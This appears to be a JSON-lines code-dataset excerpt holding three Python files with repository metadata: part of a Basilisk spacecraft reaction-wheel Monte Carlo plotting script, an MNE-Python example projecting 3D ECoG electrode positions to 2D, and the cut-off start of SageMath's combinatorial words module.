plt.ylabel('Attitude Error $\\sigma_{B/R}$')\n    figureList[pltName] = plt.figure(1)\n\n    plt.figure(2)\n    pltName = 'RWMotorTorque'\n    for idx in range(1,4):\n        plt.plot(timeData, dataUsReq[:, idx],\n                 '--',\n                 label='Run ' + str(data[\"index\"]) + ' $\\hat u_{s,'+str(idx)+'}$')\n        plt.plot(timeData, dataRW[idx-1][:, 1],\n                 label='Run ' + str(data[\"index\"]) + ' $u_{s,' + str(idx) + '}$')\n    # plt.legend(loc='lower right')\n    plt.xlabel('Time [min]')\n    plt.ylabel('RW Motor Torque (Nm)')\n    figureList[pltName] = plt.figure(2)\n\n    plt.figure(3)\n    pltName = 'RateTrackingError'\n    for idx in range(1,4):\n        plt.plot(timeData, dataOmegaBR[:, idx],\n                 label='Run ' + str(data[\"index\"]) + ' $\\omega_{BR,'+str(idx)+'}$')\n    # plt.legend(loc='lower right')\n    plt.xlabel('Time [min]')\n    plt.ylabel('Rate Tracking Error (rad/s) ')\n    figureList[pltName] = plt.figure(3)\n\n    plt.figure(4)\n    pltName = 'RWSpeed'\n    for idx in range(1,len(rwOutName)+1):\n        plt.plot(timeData, dataOmegaRW[:, idx]/macros.RPM,\n                 label='Run ' + str(data[\"index\"]) + ' $\\Omega_{'+str(idx)+'}$')\n    # plt.legend(loc='lower right')\n    plt.xlabel('Time [min]')\n    plt.ylabel('RW Speed (RPM) ')\n    figureList[pltName] = plt.figure(4)\n\n    plt.figure(5)\n    pltName = 'RWVoltage'\n    for idx in range(1, len(rwOutName) + 1):\n        plt.plot(timeData, dataVolt[:, idx],\n                 label='Run ' + str(data[\"index\"]) + ' $V_{' + str(idx) + '}$')\n    # plt.legend(loc='lower right')\n    plt.xlabel('Time [min]')\n    plt.ylabel('RW Voltage (V) ')\n    figureList[pltName] = plt.figure(5)\n\n    return figureList\n\ndef plotSimAndSave(data, retentionPolicy):\n    figureList = plotSim(data, retentionPolicy)\n    for pltName, plt in figureList.items():\n        # plt.subplots_adjust(top = 0.6, bottom = 0.4)\n        unitTestSupport.saveScenarioFigure(\n            fileNameString + \"_\" + pltName\n            , plt, path)\n\n    return\n\n\n################################################################\n# DATASHDER CODE\n\n# Function user can customize to configure the datashader libreary\ndef configureDatashader():\n\n    # begin datashade configuration\n\n    if not DATASHADER_FOUND:\n        return\n\n    # Below are some optional settings you can configure. To set them, uncomment the\n    # the declaration line, and uncomment the line in the datashaderLibrary.configure(...) method below.\n\n    # Set directories that the datashading library will generate. First directory name in this list is where\n    # the csv files are saved, the second is where images, and html files are saved.\n    # By default these are: `/mc1_data/` and `/mc1_assets/`\n    # datashaderDirectories = [\"/mc1_data_files/\", \"/mc1_assets_images/\"]\n\n    # Set which graphing techniques the library uses. Options: 'holoviews_datashader', 'only_datashader', 'both'.\n    # The holoviews_datashader option allows the graph to have dyanmically generated axis\n    # values, whereas the datashaer option provides a higher resolution image, but without any axes information or labeling.\n    # If you want to plot just with datashader instead of holoviews, configure this variable and pass it in\n    # the configure() methods as 'graphingTechnique = datashaderGraphType'. By default it will use the\n    # holoviews interface to graph.\n    datashaderGraphType = \"both\"\n\n    # Set the html filename. Default is \"mc_graphs.html\"\n    # Would pass in as : `htmlName = fileName`\n    # fileName = \"monte_carlo_graphs.html\"\n\n    # List of tuples that consist of: (message index, corresponding y axis label, title, etc for that data).\n    # When setting graphRange, you can use (0,0) to use the default min / max of the values for either x or y.\n    # For example, setting `graphRanges = (0,8), (0,0)`, sets the x range from 0 to 8, and keeps the y range as\n    # the default minimum and maximum values of the y range.\n    # The default unit of time is in seconds using the macro NANO2SEC; however, this can be changed by\n    # passing in a different macro from `macros.py` to multiply your x data range by that macro.\n    # Note: The time unit must align with the x and y range you set. If the graph is set to minutes,\n    # the range should be in minutes as well.\n    # Every value except `dataIndex` has default values so they do not need to be set. In the datashadingLibrary\n    # this index is used to parse into the messages dictionary to retrieve the data in the callback function.\n    # Such as: dataMessage = data[\"messages\"][index]\n    # You can also customize the name of the directories that will be created while datashading:\n    # datashaderDirectories = [\"/mc1_data_files/\", \"/mc1_assets_images/\"]\n    # You can also customize the name of the html file that is generated and holds the graphs:\n    # fileName = \"monte_carlo_graphs.html\"\n    # You can pass these values into the configure method below to set them in the library.\n    Graph = datashaderLibrary.DatashaderGraph\n    datashaderDataList = [\n        Graph(dataIndex=attErrorConfigOutputDataName + \".sigma_BR\", yaxislabel=\"Attitude error (sigma)\",\n              title=\"Attitude Error History\", xaxislabel=\"Time [minutes]\", color=\"fire\",\n              graphRanges=[(0, 8), (0, 0)], dpi=400, macro=macros.NANO2MIN),\n        Graph(dataIndex=attErrorConfigOutputDataName + \".omega_BR_B\", yaxislabel=\"Rate Tracking Error (rad/s)\",\n              title=\"Attitude Tracking Error History\", xaxislabel = \"Time [seconds]\", color = \"fire\",\n              graphRanges=[(100, 600), (-0.02, 0.02)], dpi=500, macro = macros.NANO2SEC),\n        Graph(dataIndex=rwMotorTorqueConfigOutputDataName + \".motorTorque\", yaxislabel=\"Motor Torque (Nm)\",\n              title=\"RW Motor Torque History\", color=\"GnBu\", dimension=(800, 400)),\n        Graph(dataIndex=mrpControlConfigInputRWSpeedsName + \".wheelSpeeds\", yaxislabel=\"RW Speed (RPM)\", xaxislabel = \"Time [minutes]\", macro = macros.NANO2MIN,\n              title=\"RW Wheel speeds history\"),\n        Graph(dataIndex=fswRWVoltageConfigVoltageOutMsgName + \".voltage\", title= \"RW Voltage\", yaxislabel=\"RW Voltage (V)\",\n              xaxislabel=\"Time [minutes]\", dpi=350, macro = macros.NANO2MIN)]\n\n    # Set whether or not the datashading library will save data to CSV files\n    # This is set to false by default in the library\n    datashaderLibrary.saveData = True\n\n    # Configure the lbirary to use the list of graphs, and any other settings\n    # that may have been set.\n    datashaderLibrary.configure(dataConfiguration=datashaderDataList\n                                # ,directories=datashaderDirectories\n                                , graphingTechnique=datashaderGraphType\n                                # ,fileName = \"monte_carlo_graphs.html\"\n                                )\n\n    if ONLY_GRAPH_DATA:\n        print \"Datashading from existing csv files\"\n        datashaderLibrary.graph(fromCSV = True)\n        return\n\n# END DATASHADER CODE\n################################################################\n#\n# This statement below ensures that the unit test script can be run as a\n# # stand-along python script\n#\nif __name__ == \"__main__\":\n    run(  saveFigures=False        # save figures to file\n        , case=1            # Case 1 is normal MC, case 2 is initial condition run\n        , show_plots=True         # show_plots.\n          # THIS MUST BE FALSE BY DEFAULT\n        , useDatashader=False         # use datashading library - matplotlib will not be used\n       )\n", "meta": {"hexsha": "d4eef0b1235d8775b0c313bd77c30511092a0f90", "size": 53774, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/tests/scenarios/scenarioMonteCarloAttRW.py", "max_stars_repo_name": "ian-cooke/basilisk_mag", "max_stars_repo_head_hexsha": "a8b1e37c31c1287549d6fd4d71fcaa35b6fc3f14", "max_stars_repo_licenses": ["0BSD"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/tests/scenarios/scenarioMonteCarloAttRW.py", "max_issues_repo_name": "ian-cooke/basilisk_mag", "max_issues_repo_head_hexsha": "a8b1e37c31c1287549d6fd4d71fcaa35b6fc3f14", "max_issues_repo_licenses": ["0BSD"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2019-03-13T20:52:22.000Z", "max_issues_repo_issues_event_max_datetime": "2019-03-13T20:52:22.000Z", "max_forks_repo_path": "src/tests/scenarios/scenarioMonteCarloAttRW.py", "max_forks_repo_name": "ian-cooke/basilisk_mag", "max_forks_repo_head_hexsha": "a8b1e37c31c1287549d6fd4d71fcaa35b6fc3f14", "max_forks_repo_licenses": ["0BSD"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 49.7907407407, "max_line_length": 256, "alphanum_fraction": 0.701807565, "include": true, "reason": "import numpy", "num_tokens": 14269, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.11124121682013352, "lm_q1q2_score": 0.05431723904577491}}
{"text": "\"\"\"\n.. _ex-electrode-pos-2d:\n\n====================================================\nHow to convert 3D electrode positions to a 2D image.\n====================================================\n\nSometimes we want to convert a 3D representation of electrodes into a 2D\nimage. For example, if we are using electrocorticography it is common to\ncreate scatterplots on top of a brain, with each point representing an\nelectrode.\n\nIn this example, we'll show two ways of doing this in MNE-Python. First,\nif we have the 3D locations of each electrode then we can use Mayavi to\ntake a snapshot of a view of the brain. If we do not have these 3D locations,\nand only have a 2D image of the electrodes on the brain, we can use the\n:class:`mne.viz.ClickableImage` class to choose our own electrode positions\non the image.\n\"\"\"\n# Authors: Christopher Holdgraf <choldgraf@berkeley.edu>\n#\n# License: BSD (3-clause)\nfrom scipy.io import loadmat\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom os import path as op\n\nimport mne\nfrom mne.viz import ClickableImage  # noqa\nfrom mne.viz import (plot_alignment, snapshot_brain_montage,\n                     set_3d_view)\n\n\nprint(__doc__)\n\nsubjects_dir = mne.datasets.sample.data_path() + '/subjects'\npath_data = mne.datasets.misc.data_path() + '/ecog/sample_ecog.mat'\n\n# We've already clicked and exported\nlayout_path = op.join(op.dirname(mne.__file__), 'data', 'image')\nlayout_name = 'custom_layout.lout'\n\n###############################################################################\n# Load data\n# ---------\n#\n# First we'll load a sample ECoG dataset which we'll use for generating\n# a 2D snapshot.\n\nmat = loadmat(path_data)\nch_names = mat['ch_names'].tolist()\nelec = mat['elec']  # electrode coordinates in meters\ndig_ch_pos = dict(zip(ch_names, elec))\nmon = mne.channels.DigMontage(dig_ch_pos=dig_ch_pos)\ninfo = mne.create_info(ch_names, 1000., 'ecog', montage=mon)\nprint('Created %s channel positions' % len(ch_names))\n\n###############################################################################\n# Project 3D electrodes to a 2D snapshot\n# --------------------------------------\n#\n# Because we have the 3D location of each electrode, we can use the\n# :func:`mne.viz.snapshot_brain_montage` function to return a 2D image along\n# with the electrode positions on that image. We use this in conjunction with\n# :func:`mne.viz.plot_alignment`, which visualizes electrode positions.\n\nfig = plot_alignment(info, subject='sample', subjects_dir=subjects_dir,\n                     surfaces=['pial'], meg=False)\nset_3d_view(figure=fig, azimuth=200, elevation=70)\nxy, im = snapshot_brain_montage(fig, mon)\n\n# Convert from a dictionary to array to plot\nxy_pts = np.vstack([xy[ch] for ch in info['ch_names']])\n\n# Define an arbitrary \"activity\" pattern for viz\nactivity = np.linspace(100, 200, xy_pts.shape[0])\n\n# This allows us to use matplotlib to create arbitrary 2d scatterplots\nfig2, ax = plt.subplots(figsize=(10, 10))\nax.imshow(im)\nax.scatter(*xy_pts.T, c=activity, s=200, cmap='coolwarm')\nax.set_axis_off()\n# fig2.savefig('./brain.png', bbox_inches='tight')  # For ClickableImage\n\n###############################################################################\n# Manually creating 2D electrode positions\n# ----------------------------------------\n#\n# If we don't have the 3D electrode positions then we can still create a\n# 2D representation of the electrodes. Assuming that you can see the electrodes\n# on the 2D image, we can use :class:`mne.viz.ClickableImage` to open the image\n# interactively. You can click points on the image and the x/y coordinate will\n# be stored.\n#\n# We'll open an image file, then use ClickableImage to\n# return 2D locations of mouse clicks (or load a file already created).\n# Then, we'll return these xy positions as a layout for use with plotting topo\n# maps.\n\n\n# This code opens the image so you can click on it. Commented out\n# because we've stored the clicks as a layout file already.\n\n# # The click coordinates are stored as a list of tuples\n# im = plt.imread('./brain.png')\n# click = ClickableImage(im)\n# click.plot_clicks()\n\n# # Generate a layout from our clicks and normalize by the image\n# print('Generating and saving layout...')\n# lt = click.to_layout()\n# lt.save(op.join(layout_path, layout_name))  # To save if we want\n\n# # We've already got the layout, load it\nlt = mne.channels.read_layout(layout_name, path=layout_path, scale=False)\nx = lt.pos[:, 0] * float(im.shape[1])\ny = (1 - lt.pos[:, 1]) * float(im.shape[0])  # Flip the y-position\nfig, ax = plt.subplots()\nax.imshow(im)\nax.scatter(x, y, s=120, color='r')\nplt.autoscale(tight=True)\nax.set_axis_off()\nplt.show()\n", "meta": {"hexsha": "43ef9a22771387f652cc62e46e51454de9bd9b05", "size": 4646, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/visualization/plot_3d_to_2d.py", "max_stars_repo_name": "PhilippThoelke/mne-python", "max_stars_repo_head_hexsha": "c289690d3ad732c746424807c445038ae5402c43", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/visualization/plot_3d_to_2d.py", "max_issues_repo_name": "PhilippThoelke/mne-python", "max_issues_repo_head_hexsha": "c289690d3ad732c746424807c445038ae5402c43", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/visualization/plot_3d_to_2d.py", "max_forks_repo_name": "PhilippThoelke/mne-python", "max_forks_repo_head_hexsha": "c289690d3ad732c746424807c445038ae5402c43", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-12-10T02:59:18.000Z", "max_forks_repo_forks_event_max_datetime": "2019-12-10T02:59:18.000Z", "avg_line_length": 37.4677419355, "max_line_length": 79, "alphanum_fraction": 0.6704692208, "include": true, "reason": "import numpy,from scipy", "num_tokens": 1148, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3522017684487512, "lm_q2_score": 0.15405756657543826, "lm_q1q2_score": 0.054259347390780574}}
{"text": "# coding=utf-8\nr\"\"\"\nCombinatorial classes of words.\n\nTo define a new class of words, please refer to the documentation file:\nsage/combinat/words/notes/word_inheritance_howto.txt\n\nAUTHORS:\n\n    - Franco Saliola (2008-12-17): merged into sage\n    - Sebastien Labbe (2008-12-17): merged into sage\n    - Arnaud Bergeron (2008-12-17): merged into sage\n    - Sebastien Labbe (2009-07-21): Improved morphism iterator (#6571).\n\nEXAMPLES::\n\n    sage: Words()\n    Words\n    sage: Words(4)\n    Words over {1, 2, 3, 4}\n    sage: Words('ab')\n    Words over {'a', 'b'}\n    sage: Words('natural numbers')\n    Words over Non negative integers\n\"\"\"\n#*****************************************************************************\n#       Copyright (C) 2008 Arnaud Bergeron <abergeron@gmail.com>,\n#                          S\u00e9bastien Labb\u00e9 <slabqc@gmail.com>,\n#                          Franco Saliola <saliola@gmail.com>\n#\n#  Distributed under the terms of the GNU General Public License version 2 (GPLv2)\n#\n#  The full text of the GPLv2 is available at:\n#\n#                  http://www.gnu.org/licenses/\n#*****************************************************************************\nfrom sage.combinat.combinat import InfiniteAbstractCombinatorialClass\nfrom sage.combinat.combinat import CombinatorialObject\nfrom sage.combinat.words.alphabet import build_alphabet\nfrom sage.misc.lazy_attribute import lazy_attribute\nfrom sage.plot.misc import rename_keyword\nfrom sage.misc.mrange import xmrange\nfrom sage.rings.all import Infinity\nfrom sage.rings.integer import Integer\nfrom sage.rings.integer_ring import ZZ\nimport itertools\nfrom sage.structure.parent import Set_PythonType\n\ndef Words(alphabet=None, length=None, finite=True, infinite=True):\n    \"\"\"\n    Returns the combinatorial class of words of length k over an alphabet.\n\n    EXAMPLES::\n\n        sage: Words()\n        Words\n        sage: Words(length=7)\n        Words of length 7\n        sage: Words(5)\n        Words over {1, 2, 3, 4, 5}\n        sage: Words(5, 3)\n        Words of length 3 over {1, 2, 3, 4, 5}\n        sage: Words(5, infinite=False)\n        Finite Words over {1, 2, 3, 4, 5}\n        sage: Words(5, finite=False)\n        Infinite Words over {1, 2, 3, 4, 5}\n        sage: Words('ab')\n        Words over {'a', 'b'}\n        sage: Words('ab', 2)\n        Words of length 2 over {'a', 'b'}\n        sage: Words('ab', infinite=False)\n        Finite Words over {'a', 'b'}\n        sage: Words('ab', finite=False)\n        Infinite Words over {'a', 'b'}\n        sage: Words('positive integers', finite=False)\n        Infinite Words over Positive integers\n        sage: Words('natural numbers')\n        Words over Non negative integers\n    \"\"\"\n    if isinstance(alphabet, Words_all):\n        return alphabet\n    if alphabet is None:\n        if length is None:\n            if finite and infinite:\n                return Words_all()\n            elif finite:\n                raise NotImplementedError\n            else:\n                raise NotImplementedError\n        elif isinstance(length, (int,Integer)) and finite:\n            return Words_n(length)\n    else:\n        if isinstance(alphabet, (int,Integer)):\n            from sage.sets.integer_range import IntegerRange\n            alphabet = IntegerRange(1,alphabet+1)\n        elif alphabet == \"integers\" \\\n                or alphabet == \"positive integers\" \\\n                or alphabet == \"natural numbers\":\n            alphabet = build_alphabet(name=alphabet)\n        else:\n            alphabet = build_alphabet(data=alphabet)\n        if length is None:\n            if finite and infinite:\n                return Words_over_OrderedAlphabet(alphabet)\n            elif finite:\n                return FiniteWords_over_OrderedAlphabet(alphabet)\n            else:\n                return InfiniteWords_over_OrderedAlphabet(alphabet)\n        elif isinstance(length, (int,Integer)):\n                return FiniteWords_length_k_over_OrderedAlphabet(alphabet, length)\n    raise ValueError, \"do not know how to make a combinatorial class of words from your input\"\n\nfrom sage.structure.unique_representation import UniqueRepresentation\nclass Words_all(InfiniteAbstractCombinatorialClass):\n    r\"\"\"\n    TESTS::\n\n        sage: from sage.combinat.words.words import Words_all\n        sage: list(Words_all())\n        Traceback (most recent call last):\n        ...\n        NotImplementedError\n        sage: Words_all().list()\n        Traceback (most recent call last):\n        ...\n        NotImplementedError: infinite list\n        sage: Words_all().cardinality()\n        +Infinity\n\n    We would like the instance of this class to be unique::\n\n        sage: Words() is Words()   # todo: not implemented\n        True\n\n    .. WARNING::\n\n       The design of these classes is not particularly robust so extra care must\n       be taken when extending this class in order to prevent unintended\n       side-effects. This is particularly evident in the equality test\n       :meth:`__eq__` for words.\n    \"\"\"\n    @lazy_attribute\n    def _element_classes(self):\n        r\"\"\"\n        Returns a dictionary that gives the class of the element of self.\n\n        The word may be finite, infinite or of unknown length.\n        Its data may be str, list, tuple, a callable or an iterable.\n        For callable and iterable, the data may be cached.\n\n        TESTS::\n\n            sage: d = Words()._element_classes\n            sage: type(d)\n            <type 'dict'>\n            sage: len(d)\n            13\n            sage: e = Words('abcdefg')._element_classes\n            sage: d == e\n            True\n        \"\"\"\n        import sage.combinat.words.word as word\n        return {\n            'FiniteWord_list': word.FiniteWord_list,\n            'FiniteWord_str': word.FiniteWord_str,\n            'FiniteWord_tuple': word.FiniteWord_tuple,\n            'FiniteWord_callable_with_caching': word.FiniteWord_callable_with_caching,\n            'FiniteWord_callable': word.FiniteWord_callable,\n            'FiniteWord_iter_with_caching': word.FiniteWord_iter_with_caching,\n            'FiniteWord_iter': word.FiniteWord_iter,\n            'InfiniteWord_callable_with_caching': word.InfiniteWord_callable_with_caching,\n            'InfiniteWord_callable': word.InfiniteWord_callable,\n            'InfiniteWord_iter_with_caching': word.InfiniteWord_iter_with_caching,\n            'InfiniteWord_iter': word.InfiniteWord_iter,\n            'Word_iter_with_caching': word.Word_iter_with_caching,\n            'Word_iter': word.Word_iter\n            }\n\n    def __call__(self, data=None, length=None, datatype=None, caching=True, **kwds):\n        r\"\"\"\n        Construct a new word object with parent self.\n\n        INPUT:\n\n        -  ``data`` - (default: None) list, string, tuple, iterator, None\n           (shorthand for []), or a callable defined on [0,1,...,length].\n\n        -  ``length`` - (default: None) This is dependent on the type of data.\n           It is ignored for words defined by lists, strings, tuples,\n           etc., because they have a naturally defined length.\n           For callables, this defines the domain of definition,\n           which is assumed to be [0, 1, 2, ..., length-1].\n           For iterators: Infinity if you know the iterator will not\n           terminate (default); \"unknown\" if you do not know whether the\n           iterator terminates; \"finite\" if you know that the iterator\n           terminates, but do know know the length.\n\n        -  ``datatype`` - (default: None) None, \"list\", \"str\", \"tuple\", \"iter\",\n           \"callable\" or \"pickled_function\". If None, then the function tries\n           to guess this from the data.\n\n        -  ``caching`` - (default: True) True or False. Whether to keep a cache\n           of the letters computed by an iterator or callable.\n\n        NOTE:\n\n            We only check that the first 40 letters of the word are\n            actually in the alphabet. This is a quick check implemented to\n            test for small programming errors. Since we also support\n            infinite words, we cannot really implement a more accurate\n            check.\n\n        EXAMPLES::\n\n            sage: from itertools import count\n            sage: Words()(count())\n            word: 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,...\n            sage: Words(range(10))(count())\n            Traceback (most recent call last):\n            ...\n            ValueError: 10 not in alphabet!\n            sage: Words()(\"abba\")\n            word: abba\n            sage: Words(\"ab\")(\"abba\")\n            word: abba\n            sage: Words(\"ab\")(\"abca\")\n            Traceback (most recent call last):\n            ...\n            ValueError: c not in alphabet!\n        \"\"\"\n        from sage.combinat.words.word import Word\n        kwds['data'] = data\n        kwds['length'] = length\n        kwds['datatype'] = datatype\n        kwds['caching'] = caching\n        #kwds['alphabet'] = self\n\n        # The function _construct_word handles the construction of the words.\n        w = self._construct_word(**kwds)\n        self._check(w)\n        return w\n\n    def _construct_word(self, data=None, length=None, datatype=None, caching=True):\n        r\"\"\"\n        Construct a word.\n\n        INPUT:\n\n        -  ``data`` - (default: None) list, string, tuple, iterator, None\n           (shorthand for []), or a callable defined on [0,1,...,length].\n\n        -  ``length`` - (default: None) This is dependent on the type of data.\n           It is ignored for words defined by lists, strings, tuples,\n           etc., because they have a naturally defined length.\n           For callables, this defines the domain of definition,\n           which is assumed to be [0, 1, 2, ..., length-1].\n           For iterators: Infinity if you know the iterator will not\n           terminate (default); \"unknown\" if you do not know whether the\n           iterator terminates; \"finite\" if you know that the iterator\n           terminates, but do know know the length.\n\n        -  ``datatype`` - (default: None) None, \"list\", \"str\", \"tuple\", \"iter\",\n           \"callable\". If None, then the function\n           tries to guess this from the data.\n        -  ``caching`` - (default: True) True or False. Whether to keep a cache\n           of the letters computed by an iterator or callable.\n\n        .. note::\n\n           Be careful when defining words using callables and iterators. It\n           appears that islice does not pickle correctly causing various errors\n           when reloading. Also, most iterators do not support copying and\n           should not support pickling by extension.\n\n        EXAMPLES:\n\n        Empty word::\n\n            sage: Words()._construct_word()\n            word:\n\n        Word with string::\n\n            sage: Words()._construct_word(\"abbabaab\")\n            word: abbabaab\n\n        Word with string constructed from other types::\n\n            sage: Words()._construct_word([0,1,1,0,1,0,0,1], datatype=\"str\")\n            word: 01101001\n            sage: Words()._construct_word((0,1,1,0,1,0,0,1), datatype=\"str\")\n            word: 01101001\n\n        Word with list::\n\n            sage: Words()._construct_word([0,1,1,0,1,0,0,1])\n            word: 01101001\n\n        Word with list constructed from other types::\n\n            sage: Words()._construct_word(\"01101001\", datatype=\"list\")\n            word: 01101001\n            sage: Words()._construct_word((0,1,1,0,1,0,0,1), datatype=\"list\")\n            word: 01101001\n\n        Word with tuple::\n\n            sage: Words()._construct_word((0,1,1,0,1,0,0,1))\n            word: 01101001\n\n        Word with tuple constructed from other types::\n\n            sage: Words()._construct_word([0,1,1,0,1,0,0,1], datatype=\"tuple\")\n            word: 01101001\n            sage: Words()._construct_word(\"01101001\", datatype=\"str\")\n            word: 01101001\n\n        Word with iterator::\n\n            sage: from itertools import count\n            sage: Words()._construct_word(count())\n            word: 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,...\n            sage: Words()._construct_word(iter(\"abbabaab\")) # iterators default to infinite words\n            word: abbabaab\n            sage: Words()._construct_word(iter(\"abbabaab\"), length=\"unknown\")\n            word: abbabaab\n            sage: Words()._construct_word(iter(\"abbabaab\"), length=\"finite\")\n            word: abbabaab\n\n        Word with function (a 'callable')::\n\n            sage: f = lambda n : add(Integer(n).digits(2)) % 2\n            sage: Words()._construct_word(f)\n            word: 0110100110010110100101100110100110010110...\n            sage: Words()._construct_word(f, length=8)\n            word: 01101001\n\n        Word over a string with a parent::\n\n            sage: w = Words('abc')._construct_word(\"abbabaab\"); w\n            word: abbabaab\n            sage: w.parent()\n            Words over {'a', 'b', 'c'}\n\n        The default parent is the combinatorial class of all words::\n\n            sage: w = Words()._construct_word(\"abbabaab\"); w\n            word: abbabaab\n            sage: w.parent()\n            Words\n\n        Creation of a word from a word::\n\n            sage: Words([0,1,2,3])(Words([2,3])([2,2,2,3,3,2]))\n            word: 222332\n            sage: _.parent()\n            Words over {0, 1, 2, 3}\n\n        ::\n\n            sage: Words([3,2,1])(Words([2,3])([2,2,2,3,3,2]))\n            word: 222332\n            sage: _.parent()\n            Words over {3, 2, 1}\n\n        Construction of a word from a word when the parents are the same::\n\n            sage: W = Words()\n            sage: w = W(range(8))\n            sage: z = W(w)\n            sage: w is z\n            True\n\n        Construction of a word path from a finite word::\n\n            sage: W = Words('abcd')\n            sage: P = WordPaths('abcd')\n            sage: w = W('aaab')\n            sage: P(w)\n            Path: aaab\n\n        Construction of a word path from a Christoffel word::\n\n            sage: w = words.ChristoffelWord(5,8)\n            sage: w\n            word: 0010010100101\n            sage: P = WordPaths([0,1,2,3])\n            sage: P(w)\n            Path: 0010010100101\n\n        Construction of a word represented by a list from a word\n        represented by a str ::\n\n            sage: w = Word('ababbbabab')\n            sage: type(w)\n            <class 'sage.combinat.words.word.FiniteWord_str'>\n            sage: z = Word(w, datatype='list')\n            sage: type(z)\n            <class 'sage.combinat.words.word.FiniteWord_list'>\n            sage: y = Word(w, alphabet='abc', datatype='list')\n            sage: type(y)\n            <class 'sage.combinat.words.word.FiniteWord_list'>\n\n        Creation of a word from a concatenation of words::\n\n            sage: W = Words()\n            sage: w = W() * W('a')\n            sage: Z = Words('ab')\n            sage: Z(w)\n            word: a\n\n        Creation of a word path from a FiniteWord_iter::\n\n            sage: w = words.FibonacciWord()\n            sage: f = w[:100]\n            sage: P = WordPaths([0,1,2,3])\n            sage: p = P(f); p\n            Path: 0100101001001010010100100101001001010010...\n            sage: p.length()\n            100\n\n        Creation of a word path from a FiniteWord_callable::\n\n            sage: g = Word(lambda n:n%2, length = 100)\n            sage: P = WordPaths([0,1,2,3])\n            sage: p = P(g); p\n            Path: 0101010101010101010101010101010101010101...\n            sage: p.length()\n            100\n\n        Creation of a word from a pickled function::\n\n            sage: f = lambda n : n % 10\n            sage: from sage.misc.fpickle import pickle_function\n            sage: s = pickle_function(f)\n            sage: Word(s, datatype='pickled_function')\n            word: 0123456789012345678901234567890123456789...\n\n        \"\"\"\n        from sage.combinat.words.abstract_word import Word_class\n        from sage.combinat.words.word_infinite_datatypes import WordDatatype_callable, WordDatatype_iter\n        from sage.combinat.words.word_datatypes import WordDatatype\n        if isinstance(data, Word_class):\n            ####################\n            # If `data` is already a word and if its parent is self,\n            # then return `data` (no matter what the parameter length,\n            # datatype and length are).\n            ###########################\n            if data.parent() is self:\n                return data\n            ###########################\n            # Otherwise, if self is not the parent of `data`, then we\n            # try to recover the data, the length and the datatype of the\n            # input `data`\n            ###########################\n            if isinstance(data,  WordDatatype_callable):\n                from sage.combinat.words.finite_word import CallableFromListOfWords\n                if isinstance(data._func, CallableFromListOfWords):\n                    # The following line is important because, in this case,\n                    # data._func is also a tuple (indeed\n                    # CallableFromListOfWords inherits from tuple)\n                    datatype = \"callable\"\n                if length is None:\n                    length = data._len\n                data = data._func\n            elif isinstance(data,  WordDatatype_iter):\n                if length is None:\n                    length = data._len\n                data = iter(data)\n            elif isinstance(data, WordDatatype):\n                data = data._data\n            else:\n                raise TypeError, \"Any instance of Word_class must be an instance of WordDatatype.\"\n\n        if data is None:\n            data = []\n\n        # Guess the datatype if it is not given.\n        if datatype is None:\n            if isinstance(data, (list, CombinatorialObject)):\n                datatype = \"list\"\n            elif isinstance(data, (str)):\n                datatype = \"str\"\n            elif isinstance(data, tuple):\n                datatype = \"tuple\"\n            elif callable(data):\n                datatype = \"callable\"\n            elif hasattr(data,\"__iter__\"):\n                datatype = \"iter\"\n            else:\n                raise ValueError, \"Cannot guess a datatype from data (=%s); please specify one\"%data\n        else:\n            # type check the datatypes\n            if datatype == \"iter\" and not hasattr(data, \"__iter__\"):\n                raise ValueError, \"Your data is not iterable\"\n            elif datatype == \"callable\" and not callable(data):\n                raise ValueError, \"Your data is not callable\"\n            elif datatype not in (\"list\", \"tuple\", \"str\",\n                                \"callable\", \"iter\", \"pickled_function\"):\n                raise ValueError, \"Unknown datatype (=%s)\" % datatype\n\n        # If `data` is a pickled_function, restore the function\n        if datatype == 'pickled_function':\n            from sage.misc.fpickle import unpickle_function\n            data = unpickle_function(data)\n            datatype = 'callable'\n\n        # Construct the word class and keywords\n        if datatype in ('list','str','tuple'):\n            cls_str = 'FiniteWord_%s'%datatype\n            kwds = dict(parent=self,data=data)\n        elif datatype == 'callable':\n            if length in (None, Infinity, 'infinite'):\n                cls_str = 'InfiniteWord_callable'\n            else:\n                cls_str = 'FiniteWord_callable'\n            if caching:\n                cls_str += '_with_caching'\n            kwds = dict(parent=self,callable=data,length=length)\n        elif datatype == 'iter':\n            if length in (None, Infinity, 'infinite'):\n                cls_str = 'InfiniteWord_iter'\n            elif length == 'finite':\n                cls_str = 'FiniteWord_iter'\n            elif length == 'unknown':\n                cls_str = 'Word_iter'\n            elif length in ZZ and length >= 0:\n                cls_str = 'FiniteWord_iter'\n            else:\n                raise ValueError, \"not a correct value for length (%s)\" % length\n            if caching:\n                cls_str += '_with_caching'\n            kwds = dict(parent=self,iter=data,length=length)\n        else:\n            raise ValueError, \"Not known datatype\"\n\n        wordclass = self._element_classes\n        cls = wordclass[cls_str]\n        w = cls(**kwds)\n        return w\n\n    def _check(self, w, length=40):\n        r\"\"\"\n        Check that the first length elements are actually in the alphabet.\n\n        NOTE:\n\n        EXAMPLES::\n\n            sage: from sage.combinat.words.words import Words_over_Alphabet\n      